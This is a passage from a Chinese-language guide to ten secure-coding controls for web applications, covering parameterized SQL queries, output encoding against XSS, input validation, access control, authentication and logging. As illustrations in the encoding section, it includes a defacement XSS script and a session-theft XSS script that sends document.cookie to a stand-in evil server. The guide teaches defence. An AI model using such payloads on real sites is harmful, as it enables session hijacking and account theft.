網(wǎng)站的十大安全措施

1、從應用的架構(gòu)、設(shè)計和研發(fā)角度總結(jié)了構(gòu)建安全應用的十大控制措施，致力于提高軟件設(shè)計和開發(fā)人員的安全意識和能力，進而提升應用的安全性。這十大措施中，有的很具體，有的只是通用的分類，有的是技術(shù)性的，有的是過程相關(guān)的。不過，僅僅指出問題往往是不夠的，開發(fā)人員是應用的基礎(chǔ)，為了開發(fā)出安全的應用，必須要為他們提供必要的幫助和支持。編寫Web 應用的軟件開發(fā)人員需要掌握和練習各種安全編碼的技術(shù)。Web 應用的每一層，包括用戶界面、業(yè)務(wù)邏輯、控制器以及數(shù)據(jù)庫代碼，在編寫的時候都必須將安全問題牢記在心，這可能是非常困難的一項任務(wù)，因為大多數(shù)開發(fā)人員并沒有太多安全方面的知識，而用來構(gòu)建Web 應用的語言和框架在安

2、全方面通常缺乏必要的控制。在需求和設(shè)計階段，可能也會有固有的缺陷，很少有組織為開發(fā)人員提供需求規(guī)約以指導他們編寫安全的代碼。1. 參數(shù)化查詢SQL 注入是Web 應用中最危險的漏洞之一，因為SQL 注入較為容易被黑客探測到并且會給應用帶來毀滅性的打擊。只需在你的Web 應用中注入一條簡單的惡意SQL，你的整個數(shù)據(jù)庫可能就會被竊取、擦除或者篡改。在運行數(shù)據(jù)庫的主機上，甚至可以借助Web 應用執(zhí)行危險的操作系統(tǒng)命令。為了防止SQL 注入，開發(fā)人員必須阻止那些不可信任的輸入，這些輸入將會解析成為SQL 命令的一部分。要實現(xiàn)這一點，最好的一種方式就是使用被稱做查詢參數(shù)化（QueryParameteri

3、zation）的編程技術(shù)。例如，在Java 之中，查詢參數(shù)化如下所示：1. String newName = request.getParameter("newName");2. String id = request.getParameter("id");3. PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");4. pstmt.setString(1, newName);5. pstmt.setSt

4、ring(2, id);2. 對數(shù)據(jù)進行編碼編碼（encoding）是一個很強大的工具，它有助于防范很多類型的攻擊，尤其是注入攻擊。本質(zhì)上來講，編碼就是將特殊字符轉(zhuǎn)換成對等的字符，但是轉(zhuǎn)換后的字符對于目標解析器來說不再是敏感的。關(guān)于編碼的一個樣例就是防止跨站腳本攻擊（XSS，Cross SiteScripting）。Web 開發(fā)人員經(jīng)常會動態(tài)地構(gòu)建Web 頁面，頁面中包含開發(fā)人員構(gòu)建的HTML/JavaScript代碼以及數(shù)據(jù)庫中的數(shù)據(jù)，而這些數(shù)據(jù)最初是由用戶輸入的。輸入的數(shù)據(jù)應該被視為不可信任且危險的，在構(gòu)建安全的Web 應用時，需要對其進行特殊的處理。當攻擊者欺騙你的用戶執(zhí)行惡意的Java

5、Script 時，就會發(fā)生跨站腳本攻擊或者更恰當?shù)胤Q之為JavaScript 注入，這些JavaScript 腳本最初是構(gòu)建到Web 站點中的，XSS 攻擊會在用戶的瀏覽器中執(zhí)行，因此會產(chǎn)生各種各樣的影響。例如，XSS 站點涂改：1. <script>document.body.innerHTML("Jim was here");</script>XSS session 竊?。?. <script> var img = new Image();3. img.src="hxxp:/<some evil server>.

6、com?" + document.cookie;4. </script>持久化XSS（Persistent XSS）或存儲XSS（Stored XSS）指的是XSS 攻擊嵌入到了站點的數(shù)據(jù)庫或文件系統(tǒng)之中了。這種XSS 更為危險，因為當攻擊執(zhí)行的時候，用戶已經(jīng)登錄站點了。當將XSS 攻擊置于URL 的結(jié)尾處時，會發(fā)生反射XSS（Reflected XSS），它會欺騙受害者訪問該URL，當訪問的時候攻擊就會觸發(fā)。阻止XSS的關(guān)鍵編程技術(shù)就是輸出編碼，它會在輸出的時候執(zhí)行，如果你構(gòu)建用戶界面的話，也就是在將非信任的數(shù)據(jù)添加到HTML 中的時候。能夠阻止XSS 的編碼形式包括H

7、TML實體編碼、JavaScript 編碼以及百分號編碼（也稱為URL 編碼）。3. 校驗所有的輸入編寫安全應用時，很重要的一點就是將所有來自于應用外部的輸入（如來自于瀏覽器或移動客戶端，來自于外部系統(tǒng)或文件）均視為不可信任的。對于Web 應用來說，這包括HTTP頭、cookies 以及GET 和POST 參數(shù)，總而言之也就是任何攻擊者可以入侵的數(shù)據(jù)。構(gòu)建安全Web 應用的一個重要方法就是限制用戶能夠提交到Web 應用之中的輸入。限制用戶輸入的技術(shù)稱之為“輸入校驗”。在Web 應用的服務(wù)器端，輸入校驗通常會用到正則表達式。有兩種輸入校驗，分別為“白名單”和“黑名單”校驗。白名單試圖定義好的輸入

8、是什么樣子的，任何不匹配“好輸入”定義的輸入都會被拒絕?！昂诿麊巍毙ｒ灂噲D探測已知的攻擊，只會拒絕這些攻擊和非法字符。黑名單校驗更為困難，因為可以通過編碼或其他偽裝技術(shù)繞過，所以在構(gòu)建安全Web 應用時并不推薦使用。但有些時候正則表達式是不夠的，如果你的應用要處理markup，也就是不受信任的輸入中會包含HTML 片段，這樣的話會很難進行校驗，編碼也是很困難的，因為編碼的話會破壞輸入中的標簽。此時，會需要一個能夠解析和清理HTML格式文本的庫，如OWASP Java HTML Sanitizer。4. 實現(xiàn)適當?shù)脑L問控制授權(quán)（Authorization，Access Control）過程指的

9、是請求要訪問特定資源時，需要判斷該請求是該準許還是拒絕。訪問控制可能會非常復雜，在應用開發(fā)的初始階段，需要考慮到一些“積極”的訪問控制設(shè)計需求。在軟件的安全設(shè)計中，訪問控制是很重要的一塊內(nèi)容，因此事先需要進行充分考慮：ü 強制所有的請求都通過訪問控制檢查大多數(shù)的框架和語言只會檢查程序員指定的特性，但是與之相反的做法是更以安全為中心的?？梢钥紤]使用過濾器或其他的自動化機制以保證所有的請求都要經(jīng)歷某種類型的訪問控制檢查。ü 默認拒絕結(jié)合自動化的訪問控制檢查，需要考慮拒絕訪問所有沒有配置訪問控制的特性。但是通常情況下會采取相反的做法，也就是新創(chuàng)建的特性會自動允許所有用戶訪問，直到

10、開發(fā)人員為其配置了安全檢查的功能。ü 在代碼中，要避免硬編碼基于策略的訪問控制檢查通常情況下，訪問控制策略是硬編碼在應用之中的。這樣的話，審計或證明軟件的安全性會變得非常困難且耗時。如果可能的話，訪問控制策略和應用代碼應該分離開來。ü 針對活動編碼在大多數(shù)的Web 框架中會將基于角色的訪問控制作為主要方法。盡管在訪問控制機制中，使用角色是可以接受的，但是在應用代碼中針對特定的角色編碼是一種反模式。在代碼中要考慮用戶是不是有權(quán)限訪問某個特性，而不是檢查用戶具備什么樣的角色。ü 驅(qū)動訪問控制檢查的是服務(wù)端的可信數(shù)據(jù)在作出訪問控制決策的時候，會涉及到很多的數(shù)據(jù)（登錄的用

11、戶是誰、這個用戶具備什么樣的權(quán)限、訪問控制策略是什么、請求的特性和數(shù)據(jù)是什么、時間是什么、地理位置是哪里），這些數(shù)據(jù)應該通過“服務(wù)器端”標準的Web 或Web 服務(wù)應用來獲取。策略數(shù)據(jù)，如用戶角色和訪問控制規(guī)則決不能作為請求的一部分。在標準的Web 應用中，訪問控制唯一需要的客戶端數(shù)據(jù)就是要訪問數(shù)據(jù)的id。作出訪問控制決策的大多數(shù)其他數(shù)據(jù)需要從服務(wù)器端獲取。5. 建立識別和認證控制認證過程指的是校驗個人或?qū)嶓w是不是就是其所宣稱的那個人。通常來講，認證需要提交用戶名或id，以及只有指定用戶才能知道的一條或多條私人信息。會話管理指的是服務(wù)器端要維護與之交互的實體的狀態(tài)。這就需要服務(wù)器能夠記住整個事

12、務(wù)期間如何與后續(xù)的請求進行交互。在服務(wù)器端，會話通過一個會話標識符來進行維護。識別管理是一個很廣泛的話題，不僅僅包括認證和會話管理，還包括一些高級話題，如聯(lián)合身份驗證（identity federation）、單點登錄、密碼管理工具等等。6. 保護數(shù)據(jù)和隱私性當傳輸敏感的數(shù)據(jù)時，不管是在應用或網(wǎng)絡(luò)架構(gòu)的哪一層，都需要考慮以某種方式進行傳輸加密。對于應用傳輸加密來講，SSL/TLS 是目前最常見和廣泛支持的一種模型。關(guān)于數(shù)據(jù)安全，很重要的一點在于要對系統(tǒng)中的數(shù)據(jù)進行分類，并確定哪些數(shù)據(jù)需要進行加密。 另外，還要保護正在處理中的數(shù)據(jù)，這些數(shù)據(jù)位于內(nèi)存之中，可能更易于獲取到。7. 實現(xiàn)日志和入侵探查

13、應用的日志不應該是事后才考慮的事情，也不應該局限于調(diào)試或解決問題，它應該在其他重要的事情上發(fā)揮作用。安全事件的日志與進程監(jiān)控、審計或事務(wù)日志在采集的目的上往往是不一樣的，因此通常會進行區(qū)分。日志不要記得太多也太能太少，需要記住的一點是不要記錄私人或敏感數(shù)據(jù)。為了防止日志注入（Log Injection），在記錄前要對非信任的數(shù)據(jù)進行校驗或編碼。8. 使用框架和安全庫的安全特性如果對于每個Web 應用都從頭開發(fā)安全控制功能的話，那會非常浪費時間并且會產(chǎn)生大量的安全漏洞。安全的代碼庫可以幫助開發(fā)人員注意安全相關(guān)功能的設(shè)計，并避免實現(xiàn)中漏洞。如果可以的話，要盡可能使用框架已有的特性，而不是引入第三方

14、庫?？梢钥紤]的Web 應用安全框架包括：Spring Security 和Apache Shiro。還有一點就是要及時更新這些框架和庫。9. 將安全相關(guān)的需求考慮在內(nèi)在軟件開發(fā)項目的初期，需要定義三類安全相關(guān)的需求：ü 安全特性和功能：系統(tǒng)中可見的安全控制，包括認證、訪問控制以及審計功能。這些需求通常會包含在用例或用戶故事中，Q/A 人員可以評估和測試功能的正確性。ü 業(yè)務(wù)邏輯的濫用場景（abuse cases）：業(yè)務(wù)邏輯通常是包含多個步驟、多個分支的工作流程，這些需求的用戶故事或用例應該包含異常和失敗的場景，并且包含在“濫用場景”下的需求。濫用場景描述了在遭到攻擊者破壞時

15、，一項功能該是什么樣子的?？紤]到失敗和濫用場景會發(fā)現(xiàn)校驗和錯誤處理中的弱點，從而提升應用的可靠性和安全性。ü 數(shù)據(jù)分類和隱私的需求：開發(fā)人員應當時刻注意系統(tǒng)中任何的私人和敏感數(shù)據(jù)，并確保它們是安全的。這會促使在系統(tǒng)中采用數(shù)據(jù)校驗、訪問控制、加密、審計以及日志控制等功能。10. 在設(shè)計和架構(gòu)時，將安全考慮在內(nèi)在進行系統(tǒng)的架構(gòu)和設(shè)計時，有一些安全相關(guān)的因素需要進行考慮，包括：ü 了解你所擁有的工具：你所選擇的語言和平臺會產(chǎn)生技術(shù)相關(guān)的安全風險和考量因素，開發(fā)團隊必須要有所理解并進行管理。ü 分層、信賴以及依賴：在安全的架構(gòu)和設(shè)計中，另外一個很重要的部分就是分層和信賴。確定在客戶端、Web 層、業(yè)務(wù)邏輯層以及數(shù)據(jù)管理層要進行什么樣的控制，以及不同系統(tǒng)間或同一個系統(tǒng)的不同部分之間，在什么地方建立信賴關(guān)系。信賴的邊界確定了應該在什么地方進行認證、訪問控制、數(shù)據(jù)校驗和編碼、加密以及日志記錄。當對系統(tǒng)進行設(shè)計或設(shè)計變更